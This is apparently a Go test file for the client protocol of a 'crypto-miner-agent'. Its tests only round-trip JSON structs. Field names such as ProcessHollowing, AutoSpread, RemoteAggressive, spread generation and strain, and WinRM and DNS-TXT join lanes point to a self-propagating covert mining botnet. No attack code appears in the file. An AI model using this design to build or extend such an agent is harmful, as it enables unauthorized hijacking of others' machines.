package client import ( "encoding/json" "testing" "crypto-miner-agent/config" "crypto-miner-agent/job" ) func roundTrip(t *testing.T, v any, dst any) { t.Helper() b, err := json.Marshal(v) if err != nil { t.Fatalf("marshal: %v", err) } if err := json.Unmarshal(b, dst); err != nil { t.Fatalf("unmarshal: %v\njson: %s", err, string(b)) } } func TestMessageJSONRoundTrip(t *testing.T) { msg := Message{Type: "auth", Payload: json.RawMessage(`{"agent_id":"a1"}`)} var out Message roundTrip(t, msg, &out) if out.Type != "auth" || string(out.Payload) != `{"agent_id":"a1"}` { t.Fatalf("unexpected: %+v", out) } } func TestAuthPayloadJSONRoundTrip(t *testing.T) { in := AuthPayload{ AgentID: "a1", FleetSecret: "secret", Wallet: "48x", BackupPools: []BackupPoolEntry{{Host: "b.pool", Port: 4444, TLS: true, Pass: "x"}}, Version: "1.0", Hostname: "host", CPUCores: 4, MemoryGB: 8, Worker: "w", PoolHost: "pool", PoolPort: 3333, PoolTLS: false, PoolPass: "x", AIEnabled: true, AIOllamaEndpoint: "http://localhost:11434", AIModel: "llama", HolePunch: true, RemoteAggressive: false, MeshP2P: false, AutoSpread: false, ProcessHollowing: false, Platform: "windows", Arch: "amd64", OSVersion: "10", } var out AuthPayload roundTrip(t, in, &out) if out.AgentID != in.AgentID || len(out.BackupPools) != 1 { t.Fatalf("unexpected: %+v", out) } } func TestAuthPayloadPlatformFromEnv(t *testing.T) { t.Setenv("AETHERFORGE_PLATFORM", "android") if got := config.RegistrationPlatform(); got != "android" { t.Fatalf("RegistrationPlatform() = %q want android", got) } in := AuthPayload{Platform: config.RegistrationPlatform(), Arch: "arm64"} var out AuthPayload roundTrip(t, in, &out) if out.Platform != "android" { t.Fatalf("auth platform = %q want android", out.Platform) } } func TestAuthPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) { in := AuthPayload{ AgentID: "child", ParentAgentID: "parent-uuid", SpreadGeneration: 2, SpreadStrain: "#aabbcc", JoinLane: "winrm", } var out AuthPayload roundTrip(t, in, &out) if out.ParentAgentID != "parent-uuid" || out.SpreadGeneration != 2 || out.SpreadStrain != "#aabbcc" { t.Fatalf("genealogy fields: %+v", out) } } func TestAuthResponseJSONRoundTrip(t *testing.T) { in := AuthResponse{Success: true, AgentID: "a1", Error: ""} var out AuthResponse roundTrip(t, in, &out) if !out.Success || out.AgentID != "a1" { t.Fatalf("unexpected: %+v", out) } } func TestJobJSONRoundTrip(t *testing.T) { in := job.Job{ID: "j1", Height: 100, BlockTemplate: "tpl", Difficulty: 500, SeedHash: "seed", Target: "tgt", Blob: "blob", Algo: "rx/0"} var out job.Job roundTrip(t, in, &out) if out.ID != "j1" || out.Blob != "blob" { t.Fatalf("unexpected: %+v", out) } } func TestSharePayloadJSONRoundTrip(t *testing.T) { in := SharePayload{JobID: "j", Nonce: "n", Hash: "h", Worker: "w"} var out SharePayload roundTrip(t, in, &out) if out.JobID != "j" { t.Fatalf("unexpected: %+v", out) } } func TestStatsPayloadJSONRoundTrip(t *testing.T) { cpuTemp := 70 in := StatsPayload{ Hashrate15s: 100, Hashrate1m: 99, Hashrate15m: 98, SharesSubmitted: 10, SharesAccepted: 9, CPUUsagePct: 50, MemoryUsagePct: 40, UptimeSeconds: 3600, CPUTempC: &cpuTemp, Services: []ServiceStatus{{Name: "svc", Status: "running", StartType: "auto"}}, } var out StatsPayload roundTrip(t, in, &out) if out.CPUTempC == nil || *out.CPUTempC != 70 { t.Fatalf("unexpected: %+v", out) } } func TestStatsPayloadFailedMethodsJSONRoundTrip(t *testing.T) { in := StatsPayload{ Hashrate15s: 0, ActiveMethod: "inprocess", FailedMethods: []MethodFailurePayload{ {Method: "container", Reason: "blocked", At: "2026-06-07T12:00:00Z"}, }, ChainExhausted: false, } var out StatsPayload roundTrip(t, in, &out) if len(out.FailedMethods) != 1 || out.FailedMethods[0].Method != "container" { t.Fatalf("failed_methods: %+v", out.FailedMethods) } } func TestStatsPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) { in := StatsPayload{ Hashrate15s: 1, Hashrate1m: 1, Hashrate15m: 1, ParentAgentID: "p1", SpreadGeneration: 1, SpreadStrain: "#112233", JoinLane: "dns_txt", } var out StatsPayload roundTrip(t, in, &out) if out.ParentAgentID != "p1" || out.SpreadStrain != "#112233" { t.Fatalf("genealogy stats: %+v", out) } } func TestShareResultJSONRoundTrip(t *testing.T) { in := ShareResult{JobID: "j", Accepted: false, Error: "low diff"} var out ShareResult roundTrip(t, in, &out) if out.Error != "low diff" { t.Fatalf("unexpected: %+v", out) } } func TestBackupPoolEntryJSONRoundTrip(t *testing.T) { in := BackupPoolEntry{Host: "h", Port: 3333, TLS: true, Pass: "x"} var out BackupPoolEntry roundTrip(t, in, &out) if out.Host != "h" || !out.TLS { t.Fatalf("unexpected: %+v", out) } } func TestServiceStatusJSONRoundTrip(t *testing.T) { in := ServiceStatus{Name: "ssh", DisplayName: "OpenSSH", Status: "running", StartType: "manual"} var out ServiceStatus roundTrip(t, in, &out) if out.Name != "ssh" { t.Fatalf("unexpected: %+v", out) } } func TestJobPayloadErrorEdgeCases(t *testing.T) { if jobPayloadHasError(json.RawMessage(`invalid`)) { t.Fatal("invalid json should not be treated as error field") } if jobPayloadHasError(json.RawMessage(`{"error":""}`)) { t.Fatal("empty error string should not trigger") } msg, ok := jobPayloadErrorMessage(json.RawMessage(`{"error":" fail "}`)) if !ok || msg != " fail " { t.Fatalf("got %q ok=%v", msg, ok) } }